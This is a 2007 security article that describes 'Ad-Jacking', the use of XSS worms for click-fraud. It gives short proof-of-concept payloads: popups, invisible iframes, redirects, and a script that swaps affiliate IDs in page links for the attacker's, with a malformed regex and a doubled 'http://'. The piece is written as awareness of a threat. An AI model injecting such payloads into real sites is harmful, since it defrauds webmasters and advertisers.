

# Ad-Jacking - XSSing for fun and profit

Author: David Kierznowski (<http://withdk.com>)

Date: 02 June 2007

## 1. Introduction

*Ad-Jacking is a term I coined for this article to categorise covert Ad hacking schemes. Why Ad-Jacking? Well, because thats effectively what we are doing. This attack category is really a new breed of attack, centered around traditional click-fraud.*

Understanding this paper requires us to have a little understanding around what types of Ads make money. So firstly let us go over the current Ad system.

The following table categorises current Ad schemes:

CPC	cost-per-click	Money per click
CPM	cost-per-thousand	Money per thousand impressions
CPA	cost-per-action	Money per action (i.e. a sale, survey etc)
Affiliates	Affiliate programs	Custom - can involve any of the above and more.

We really want to focus on CPC and CPM (sometimes affiliates). Why? because its guaranteed \$\$\$ per hit, and the attacker can guarantee hits, atleast when using XSS.

## 2. Potential Injection Vectors

Now some of you may already know where I am going with this; for those of you who haven't guessed, we will be discussing weaknesses in the current Ad schemes and how they can be exploited. The ideas discussed here are by know means new, but I haven't seen any article on the Internet that really merges traditional click-fraud with XSS.

To get this attack to work, an attacker would need to launch an XSS worm. The worm may use one or more of these techniques (possibly others?):

- Popups
- Redirects
- IFrames
- Hidden Images

### 2.1 Popups

It makes sense that this paper should start with the most common and annoying type of ad-jacking, popups! Why do hated webmasters do it? Now that we understand CPC and CPM the reason becomes obvious.

The proof of concept code below spawns a new window (popup) with dimensions we set. This is becoming more difficult to do as a number of web browsers support popup countermeasures, but this use to be the preferred method.

```
window.open('http://myadspaymentsite/url=sponsorlink&ref=12345',  
'window name', 'attribute1, attribute2')
```

### 2.2 IFrames

An IFrame is basically a new web page that is loaded into a table in your current browser. This is really powerful for displaying content from other domains, unfortunately it can also be used nicely as an ad-jacking tool.

The following code will load up an invisible iframe to our sponsored page. The nice thing here

is that our evil attacker is now making money from your visit without the user knowing.

Nice

for the user, but it completely defeats the point of having Ads.

```
<IFRAME NAME="iframe" SRC="http://myadspaymentsite/url=sponsorlink&ref=12345"  
SCROLLING="AUTO" WIDTH="0px" HIEGHT="0px" FRAMEBORDER="0"  
ALLOWTRANSPARENCY="yes">Your Browser Does not Support IFrames. Please  
View the Site in a Different Browser to View this frame.  
</IFRAME>
```

## 2.3 Redirects

We will cover this a lot more when in part 2 of this article. With the possibilities of [web 2.0 superworms](#) there is a lot of potential for badness here.

The following example simply redirects the user to an ad page upon rendering a page:

```
javascript:document.location = 'http://myadspaymentsite/url=sponsorlink&ref=12345';
```

## 2.4 Hidden Images

This has got to be one of the most effective methods mentioned thus far. Images allow cross-domain access, but they are also invisible in most cases by default; a web page is retrieved rather than an image, and therefore no result is ever displayed. This syntax is also dead simple:

```

```

### 3. XSS for Fun and Profit "Proof of Concept"

Attacks of the future may utilise Web 2.0 and XSS to propagate worms for profit. The most obvious way to do this is via Ad-Jacking, a term I coined for a category of attacks that utilise a combination of XSS, JSON services and click-fraud. As I mentioned before, Ad-Jacking is like click-fraud on steroids.

Today I will discuss a potential Ad-Jacking scenario as well as a proof of concept JavaScript payload.

You will see many affiliate systems using HTML anchor wrapped around an IMG. For example:

```
<a href="http://www.the-affiliate/?af1=97781">  
</a>
```

As part of our XSS SuperWorm, for our proof of concept the attacker has setup his/her own affiliate account and is given the affiliate number 12345. Our attackers CPA link would look like this:

```
http://www.the-affiliate/?af1=12345
```

Now for our little XSS JavaScript payload which will change the pages affiliate ID ('97781') to the attackers ('12345'). This means, if the user visiting follows the link and purchases something, the attacker will receive the credit rather than the original site.

The code is simple, we grab every link from the DOM and parse it for our affiliate URL. Once we find it, we simply replace it with the attackers:

```
var x = document.getElementsByTagName('a');  
for (i=0;i<x.length-1;i++) {  
  if (x[i].href.match(/http://www.the-affiliate/?af1/)) {  
    x[i].href = 'http://http://www.the-affiliate/?af1=12345/?aff=test';  
  }  
}
```

An attacker is most likely to Ad-Jack your existing Ad network. The reason behind this is that the webmaster has most likely already optimised the website to have the Ad display in the best possible place for increased sales; more importantly, the webmaster is less likely to get suspicious of the attack if an existing Ad network is Ad-Jacked.

XSS can be used for a lot more than a simple alert box and should be treated with the fear it deserves.

## 4. Summary

This paper looked at ways to embed malicious code into pages to trick and scam Ad applications. You can be sure Google and many others know all about these scams (atleast we hope they do) and most likely have fully-feeatured analytics to detect anomalies; however, I am curious just how effective they are at detecting this when we use the two R's, RANDOM and REALISTIC.

It is also because of these weaknesses that CPC and CPM type Ads will be replaced in the future, Google and many others are moving more towards CPA as sales and surveys are more difficult to scam.

The techniques discussed in this paper were discussed further by PDP in his [Hacking Web 2.0 presentation](#).

@ 2007 David Kierznowski